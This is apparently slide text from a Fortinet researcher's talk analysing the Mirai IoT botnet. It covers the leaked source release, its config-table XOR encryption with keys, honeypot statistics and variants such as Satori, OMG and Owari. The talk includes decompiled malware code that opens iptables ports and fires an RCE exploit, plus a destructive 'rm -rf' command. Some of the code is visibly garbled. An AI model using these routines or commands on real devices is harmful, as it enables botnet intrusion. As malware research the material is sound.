IoT: Battle of the Bots

by Rommel Joven
Overview

I. Brief introduction of Mirai
II. Anti-analysis and encryption of its configuration
III. Lab Setup and Honeypot
IV. Mirai Variants
   - Difference from the original Mirai
   - Popular variants
Mirai Overview
Financial Impact of Mirai DDoS Attack on Dyn Revealed in New Data

By Stephanie Weagle | February 21, 2017

Security ratings provider, BitSight, found roughly 8% of Dyn’s customer base stopped using their services in the aftermath of the attack.
Mirai’s first appearance

- Coded by Anna-senpai
- Source Code released on Hackforums.net on Sep 20, 2016

[FREE] World's Largest Net: Mirai Botnet, Client, Echo Loader, CNC source code release

Yesterday, 12:50 PM (This post was last modified: Yesterday 04:29 PM by Anna-senpai.)

Anna-senpai
L33t Member

Preface
Greetz everybody,

When I first go in DDoS industry, I wasn’t planning on staying in it long. I made my money, there’s lots of eyes looking at IOT now, so it’s isn’t as exciting. However, I know every skid and their mama, it’s their wet dream to have something besides qbot.

So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.

So, I am your senpai, and I will treat you real nice, my hf-chan.
Mirai’s Components

- Command and Control Server
- Report Server
- Loader
- Bot
  - Attack
  - Killer
  - Scanner
How Mirai Works
How Mirai Works
How Mirai Works
How Mirai Works
How Mirai Works
How Mirai Works

- Botnet admin
  - Add account & Assign max bots
  - Send attack command

- C2 srv
  - Send attack command

- Loader
  - Report srv

- Botnet user
  - Send attack command
  - Infected IoT Devices
  - Target

- Infected IoT Device
  - Vulnerable IoT Devices
How Mirai Works
How Mirai Works
Bot Module: Attack

- Attack vectors

```
Ready
test@botnet# ?
Available attack list
udp: UDP flood
ack: ACK flood
greip: GRE IP flood
greeth: GRE Ethernet flood
udpplain: UDP flood with less options. optimized for higher PPS
http: HTTP flood
vse: Valve source engine specific flood
dns: DNS resolver flood using the targets domain, input IP is ignored
syn: SYN flood
stomp: TCP stomp flood
```
Anti-analysis and Encryption of Configuration Table
UPX header magic
## Anti-analysis

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>dsjn</td>
<td>0xAD86570B</td>
</tr>
<tr>
<td>SNDJ</td>
<td>0x0DF0ADBA</td>
</tr>
<tr>
<td>RAW\x0</td>
<td>0xF596A4B5</td>
</tr>
<tr>
<td>KSL!</td>
<td>0x085A6508</td>
</tr>
<tr>
<td>upx</td>
<td>0x58550000</td>
</tr>
<tr>
<td>KTN!</td>
<td>0x0CE7790A</td>
</tr>
<tr>
<td>VEN!</td>
<td>0x47413509</td>
</tr>
<tr>
<td>ELF!</td>
<td></td>
</tr>
<tr>
<td>help</td>
<td></td>
</tr>
<tr>
<td>NOOB</td>
<td></td>
</tr>
<tr>
<td>GMT!</td>
<td></td>
</tr>
</tbody>
</table>
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30);
// cnc.changeme.com
add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23

add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29);
// report.changeme.com
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2);
// 48101
Configuration table decryption

```c
uint32_t table_key = 0xdeadbeef;

static void toggle_obf(uint8_t id)
{
    int i;
    struct table_value *val = &table[id];
    uint8_t k1 = table_key & 0xff,
                k2 = (table_key >> 8) & 0xff,
                k3 = (table_key >> 16) & 0xff,
                k4 = (table_key >> 24) & 0xff;

    for (i = 0; i < val->val_len; i++)
    {
        val->val[i] ^= k1;
        val->val[i] ^= k2;
        val->val[i] ^= k3;
        val->val[i] ^= k4;
    }
}
```

table_key = 0xdeadbeef

Xor_key = 0x22

(TABLE_CNC_PORT, "\x22\x35", 2); // 23
### Xor Key Used

- ~47 Xor Keys identified

#### Commonly used keys:

<table>
<thead>
<tr>
<th>Table_key(seed)</th>
<th>Xor Key</th>
<th>Variants</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xdeadbeef</td>
<td>0x22</td>
<td>27 (Including Mirai)</td>
</tr>
<tr>
<td>0xdedefbaf</td>
<td>0x54</td>
<td>17</td>
</tr>
<tr>
<td>0xdedeffba</td>
<td>0x45</td>
<td>15</td>
</tr>
<tr>
<td>&lt;none&gt;</td>
<td>0x0 (not encrypted)</td>
<td>13</td>
</tr>
<tr>
<td>0xdeacfbef</td>
<td>0x66</td>
<td>11</td>
</tr>
</tbody>
</table>
Catching Live Samples with Honeypot
The KAIB Project

- Static analysis
- Automated decryption of configuration table
- Unpacking if known packer
- C2 server and download URLs collection
Results

- 21k+ samples collected
- 15k+ are Mirai related samples
- 120+ variants identified
- 500+ C2s Blacklisted
Honeypot Setup

- Low interaction
- Logs Telnet login attempts
- Logs URLs from WGET download attempts
- Automatically downloads samples
Mirai was named after by the strings/ command:

- `/bin/briefbox MIRAI`
- `MIRAI: applet not found`
Variant Count


- Jan-18: 14
- Feb-18: 41
- Mar-18: 50
- Apr-18: 65
- May-18: 76
- Jun-18: 81
- Jul-18: 98
- Aug-18: 117
- Total: 127
Samples processed (2018)

Sample Count

January | February | March | April | May | June | July | August
---|---|---|---|---|---|---|---
2704 | 2374 | 1729 | 3607 | 1405 | 2268 | 4268 | 2851
Sample Count per Variant

Count
<table>
<thead>
<tr>
<th>Targeted Architecture</th>
</tr>
</thead>
<tbody>
<tr>
<td>ARM 32-bit architecture (AARCH32)</td>
</tr>
<tr>
<td>MIPS I Architecture</td>
</tr>
<tr>
<td>Hitachi SuperH</td>
</tr>
<tr>
<td>SPARC</td>
</tr>
<tr>
<td>Motorola 68000</td>
</tr>
<tr>
<td>Intel 80386</td>
</tr>
<tr>
<td>PowerPC</td>
</tr>
<tr>
<td>Intel 80860</td>
</tr>
<tr>
<td>AMD x86-64 architecture</td>
</tr>
<tr>
<td>IBM System/370 Processor</td>
</tr>
</tbody>
</table>
Targeted Architecture

ARC International ARCompact processor

• Discovered January 2018
• Initially used by Okiru variant
• 1.5 billion products are dispatched per year

Other Variants joining the ARC:

<table>
<thead>
<tr>
<th>MASUTA</th>
<th>SAUCE</th>
</tr>
</thead>
<tbody>
<tr>
<td>OMNI</td>
<td>chickenxings</td>
</tr>
<tr>
<td>ROOT</td>
<td>WICKED</td>
</tr>
</tbody>
</table>
Exploits

- 28 Exploits
- At least 16 are Unauthenticated exploits
- 14 exploits are from 2017 & 2018

<table>
<thead>
<tr>
<th>Vendor</th>
<th>14 exploits are from 2017 &amp; 2018</th>
</tr>
</thead>
<tbody>
<tr>
<td>Airlink101</td>
<td>Digitalzoomstudio</td>
</tr>
<tr>
<td>Apache Hadoop</td>
<td>D-LINK</td>
</tr>
<tr>
<td>ASUS</td>
<td>GoAhead</td>
</tr>
<tr>
<td>AVTECH</td>
<td>Huawei</td>
</tr>
<tr>
<td>Claymore</td>
<td>JAWS</td>
</tr>
<tr>
<td>Dasan</td>
<td>MikroTik</td>
</tr>
</tbody>
</table>
Main Variants
Satori/Okiru

- Believed to be coded by NexusZeta
- One of the most popular mod of Mirai
- Loader embedded in bot
- Included ARC architecture to its targets
- Uses exploits to spread
- One version mines cryptocurrency
Satori/Okiru

- CVE-2017-17215 (Huawei)
- CVE-2017-8225 (WIFICAM)
- OS Command Injection (D-Link DSL-2750B)
- CVE-2014-8361 (Realtek SDK)
- HTTP Basic Auth Bypass (GoAhead-Webs)
- CVE-2017-16929 (Claymore Miner software)
Scan port 3333:
Exploit that targets Claymore software (ETH mining) in order to change the destination wallet
3.336721 ETH approx 3.3k USD in January 2018

Ethereum 0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d

Your account paused. To clear the situation, contact administration.

<table>
<thead>
<tr>
<th>Earnings</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Current balance</td>
<td>0.0000 ETH</td>
</tr>
<tr>
<td>Already paid</td>
<td>3.336721 ETH</td>
</tr>
<tr>
<td>Unconfirmed</td>
<td>0.0000 ETH</td>
</tr>
<tr>
<td>1.0% fee is 0.0000 ETH</td>
<td></td>
</tr>
<tr>
<td>Earning in last 24 hours</td>
<td>0.0000 ETH</td>
</tr>
<tr>
<td>Rates 0.0000 $</td>
<td>0.0000 $</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Last 10 payouts</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Date</td>
<td>Amount</td>
</tr>
<tr>
<td>29 Jan 2018, 08:53</td>
<td>0.54112642</td>
</tr>
<tr>
<td>23 Jan 2018, 12:30</td>
<td>0.77129879</td>
</tr>
<tr>
<td>17 Jan 2018</td>
<td>1.01428845</td>
</tr>
</tbody>
</table>
OMG

- Turns IoT device into a proxy server
- Contains the original Mirai modules (attack, killer, scanner)
- Brute-force login to spread
- Discovered February 2018

/bin/busybox 0OMGA
0OMGA: applet not found
OMG

- Uses 3Proxy, an open-source proxy server
- Generates 2 random ports for HTTP and SOCKS proxies

```c
while (1)
{
    http_proxy_port = sock_random_port();
    socks_proxy_port = sock_random_port();
    if (http_proxy_port == socks_proxy_port)
    {
        sleep(1);
    }
    else
    {
        v2 = 0;
        sub_42380((int)&0, 0, 16);
        v7 = ((http_proxy_port & 0xFF00FF) >> 8) | (http_proxy_port >> 24) | (http_proxy_port << 24) | ((unsigned int16)(http_proxy_port & 0x00FF) << 8);
        v6 = ((socks_proxy_port & 0xFF00FF) >> 8) | (socks_proxy_port >> 24) | (socks_proxy_port << 24) | ((unsigned int16)(socks_proxy_port & 0x00FF) << 8);
        v2 = 4;
        sub_42380((int)&v4, (const char *)&v7, 4);
        sub_42380((int)&v4, (const char *)&v6, 4);
        report_ports_to_cnc((int)&v2, 17);
        toggle_firewall_rule(http_proxy_port, 1); // 1 = enable
        toggle_firewall_rule(socks_proxy_port, 1);
        proxy_main(http_proxy_port, socks_proxy_port);
        toggle_firewall_rule(http_proxy_port, 0); // 0 = disable
        toggle_firewall_rule(socks_proxy_port, 0);
    }
}
```
OMG

- Adds firewall rule to allow traffic on the generated ports

```c
int __fastcall toggle_firewall_rule(int port, unsigned __int8 enable)
{
    int port1; // r501
    int enable1; // r4W1
    int w4; // r601
    int u5; // r602
    int u6; // r602
    int u8; // r680
    int w0; // r680
    char w10; // [sp+8h] [bp-314h+8w]
    char w11[3]; // [sp+8h] [bp-313h+0w]
    char w12; // [sp+288h] [bp-114h+0w]
    char w13; // [sp+388h] [bp-148h+0w]

    port1 = port;
    enable1 = enable;
    w10 = 0;
    sub_A2040((int)&w1, 0, 511); // (int)enable
    w0 = (int)&w0;
    if (enable1)
    {
        table_unlock_val(TABLE_IPTABLES1); // iptables -I INPUT -p tcp --dport %d -j ACCEPT;iptables -I OUTPUT -p tcp --sport %d -j ACCEPT;iptables -I PREROUTING -t nat -p tcp --dport %d -j DNAT
        v6 = Table_retrieve_val(TABLE_IPTABLES1, w0, w5);
        printf((int)&w10, (const char *)&v6, port1, port1, port1, port1, *(DWORD *)&w10);
        table_lock_val(TABLE_IPTABLES1);
    }
    else
    {
        table_unlock_val(TABLE_IPTABLES2); // iptables -D INPUT -p tcp --dport %d -j ACCEPT;iptables -D OUTPUT -p tcp --sport %d -j ACCEPT;iptables -D PREROUTING -t nat -p tcp --dport %d -j DNAT
        v9 = Table_retrieve_val(TABLE_IPTABLES2, w0, w8);
        w0 = (int)&w0;
        printf((int)&w10, (const char *)&v9, port1, port1, port1, port1, *(DWORD *)&w10);
        table_lock_val(TABLE_IPTABLES2);
    }
    execw4, (int)&u12, 256);
    return 0;
}
```
Owari-Sora-Wicked-Omni

• The author calls himself “Wicked” with his friend “Karmaahof”
• Sora uses Aboriginal Linux
• Commonly uses exploits other than default passwords
• 11 used exploits was found in a sample
Owari-Sora-Wicked-Omni

- Scans specific ports by initiating a raw socket SYN
- For an established connection, it will attempt to send a specific exploit to the device

```c
fd_port8080 = socket_con(ip_addr, 8080);
fds_port8043 = socket_con(ip_addr, 8443);
fds_port80 = socket_con(ip_addr, 80);
fds_port81 = socket_con(ip_addr, 81);

if ( fd_port8080 )
{
    write(fd_port8080, &rce_Netgear_DGN1000, strlen(&rce_Netgear_DGN1000));
    close(fd_port8080);
}
rm -rf /web/html/login.html

Hey you, stop right there!
Want your router fixed? No problem! Send an email to krebsonsecurity@gmail.com and we will have it fixed asap!
– scarface is your daddy –
Final thoughts

- More exploits will be added
- More variants will be appearing
- Modification of Encryption of Configuration Table
- Other means to monetize infected IoT devices
Xie Xie

rjoven@fortinet.com

@rommeljoven17

Follow us on twitter